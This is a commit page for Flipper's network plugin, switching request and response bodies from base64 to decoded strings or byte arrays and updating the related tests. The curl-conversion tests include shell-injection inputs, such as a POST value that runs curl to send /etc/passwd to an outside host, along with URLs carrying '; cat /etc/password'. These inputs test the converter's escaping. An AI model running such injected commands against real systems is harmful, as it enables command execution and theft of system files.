jens/flipper
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Parse request bodies eagerly

Browse Source 
Summary:
Currently the network plugin was always storing the transfer format of our request/ response bodies: a base64 string. However, those are not searchable, and every formatter (and multiple can be invoked in a single view) was responsible for its own decompressing.

This diff changes parsing requests / responses into an accurate format: a decompressed, de-base64-ed utf8 string, or a Uint8array for binary data.

We will use this in the next diffs to do some more efficient searching

Reviewed By: passy

Differential Revision: D28200190

fbshipit-source-id: 33a71aeb7b340b58305e97fff4fa5ce472169b25
This commit is contained in:
Michel Weststrate
2021-05-06 04:26:41 -07:00
committed by Facebook GitHub Bot
parent fc4a08eb55
commit 72e34bbd0d
8 changed files with 189 additions and 130 deletions
Download Patch File Download Diff File Expand all files Collapse all files

35
desktop/plugins/public/network/__tests__/chunks.node.tsx
View File

@@ -88,8 +88,14 @@ test('Reducer correctly adds followup chunk', () => {
test('Reducer correctly combines initial response and followup chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
sendEvent('newRequest', {
data: 'x',
headers: [{key: 'y', value: 'z'}],
data: btoa('x'),
headers: [
{key: 'y', value: 'z'},
{
key: 'Content-Type',
value: 'text/plain',
},
],
id: '1',
method: 'GET',
timestamp: 0,
@@ -97,7 +103,7 @@ test('Reducer correctly combines initial response and followup chunk', () => {
});
sendEvent('partialResponse', {
data: 'aGVs',
headers: [],
headers: [{key: 'Content-Type', value: 'text/plain'}],
id: '1',
insights: null,
isMock: false,
@@ -113,7 +119,12 @@ test('Reducer correctly combines initial response and followup chunk', () => {
"followupChunks": Object {},
"initialResponse": Object {
"data": "aGVs",
"headers": Array [],
"headers": Array [
Object {
"key": "Content-Type",
"value": "text/plain",
},
],
"id": "1",
"index": 0,
"insights": null,
@@ -128,7 +139,13 @@ test('Reducer correctly combines initial response and followup chunk', () => {
`);
expect(instance.requests.records()[0]).toMatchObject({
requestData: 'x',
requestHeaders: [{key: 'y', value: 'z'}],
requestHeaders: [
{key: 'y', value: 'z'},
{
key: 'Content-Type',
value: 'text/plain',
},
],
id: '1',
method: 'GET',
url: 'http://test.com',
@@ -155,9 +172,13 @@ test('Reducer correctly combines initial response and followup chunk', () => {
key: 'y',
value: 'z',
},
{
key: 'Content-Type',
value: 'text/plain',
},
],
responseData: 'aGVsbG8=',
responseHeaders: [],
responseData: 'hello',
responseHeaders: [{key: 'Content-Type', value: 'text/plain'}],
responseIsMock: false,
responseLength: 5,
status: 200,

63
desktop/plugins/public/network/__tests__/encoding.node.tsx
View File

@@ -14,12 +14,16 @@ import {ResponseInfo} from '../types';
import {promisify} from 'util';
import {readFileSync} from 'fs';
async function createMockResponse(input: string): Promise<ResponseInfo> {
async function createMockResponse(
input: string,
contentType: string,
): Promise<ResponseInfo> {
const inputData = await promisify(readFile)(
path.join(__dirname, 'fixtures', input),
'ascii',
);
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
const contentTypeHeader = {key: 'Content-Type', value: contentType};
const testResponse: ResponseInfo = {
id: '0',
timestamp: 0,
@@ -31,8 +35,9 @@ async function createMockResponse(input: string): Promise<ResponseInfo> {
key: 'Content-Encoding',
value: 'gzip',
},
contentTypeHeader,
]
: [],
: [contentTypeHeader],
data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data,
isMock: false,
insights: undefined,
@@ -42,6 +47,18 @@ async function createMockResponse(input: string): Promise<ResponseInfo> {
return testResponse;
}
function bodyAsString(response: ResponseInfo) {
const res = decodeBody(response.headers, response.data);
expect(typeof res).toBe('string');
return (res as string).trim();
}
function bodyAsBuffer(response: ResponseInfo) {
const res = decodeBody(response.headers, response.data);
expect(res).toBeInstanceOf(Uint8Array);
return Buffer.from(res as Uint8Array);
}
describe('network data encoding', () => {
const donatingExpected = readFileSync(
path.join(__dirname, 'fixtures', 'donating.md'),
@@ -56,46 +73,66 @@ describe('network data encoding', () => {
);
test('donating.md.utf8.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.ios.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
const response = await createMockResponse(
'donating.md.utf8.ios.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('donating.md.utf8.gzip.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.gzip.ios.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
const response = await createMockResponse(
'donating.md.utf8.gzip.ios.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('donating.md.utf8.android.txt', async () => {
const response = await createMockResponse('donating.md.utf8.android.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
const response = await createMockResponse(
'donating.md.utf8.android.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('donating.md.utf8.gzip.android.txt', async () => {
const response = await createMockResponse(
'donating.md.utf8.gzip.android.txt',
'text/plain',
);
expect(decodeBody(response).trim()).toEqual(donatingExpected);
expect(bodyAsString(response)).toEqual(donatingExpected);
});
test('tiny_logo.android.txt', async () => {
const response = await createMockResponse('tiny_logo.android.txt');
const response = await createMockResponse(
'tiny_logo.android.txt',
'image/png',
);
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
test('tiny_logo.android.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.android.txt');
const response = await createMockResponse(
'tiny_logo.android.txt',
'image/png',
);
// this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
test('tiny_logo.ios.txt', async () => {
const response = await createMockResponse('tiny_logo.ios.txt');
const response = await createMockResponse('tiny_logo.ios.txt', 'image/png');
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
test('tiny_logo.ios.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.ios.txt');
const response = await createMockResponse('tiny_logo.ios.txt', 'image/png');
// this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
});
});

18
desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
View File

@@ -30,7 +30,7 @@ test('convertRequestToCurlCommand: simple POST', () => {
method: 'POST',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
const command = convertRequestToCurlCommand(request);
@@ -46,7 +46,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
let command = convertRequestToCurlCommand(request);
@@ -60,7 +60,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
command = convertRequestToCurlCommand(request);
@@ -76,7 +76,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
let command = convertRequestToCurlCommand(request);
@@ -90,7 +90,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
requestHeaders: [],
requestData: btoa('some=data&other=param'),
requestData: 'some=data&other=param',
};
command = convertRequestToCurlCommand(request);
@@ -106,9 +106,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
method: 'POST',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa(
'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
),
requestData: 'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
};
let command = convertRequestToCurlCommand(request);
@@ -122,7 +120,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
method: 'POST',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa('some=!!'),
requestData: 'some=!!',
};
command = convertRequestToCurlCommand(request);
@@ -138,7 +136,7 @@ test('convertRequestToCurlCommand: control characters', () => {
method: 'GET',
url: 'https://fbflipper.com/',
requestHeaders: [],
requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
requestData: 'some=\u0007 \u0009 \u000C \u001B&other=param',
};
const command = convertRequestToCurlCommand(request);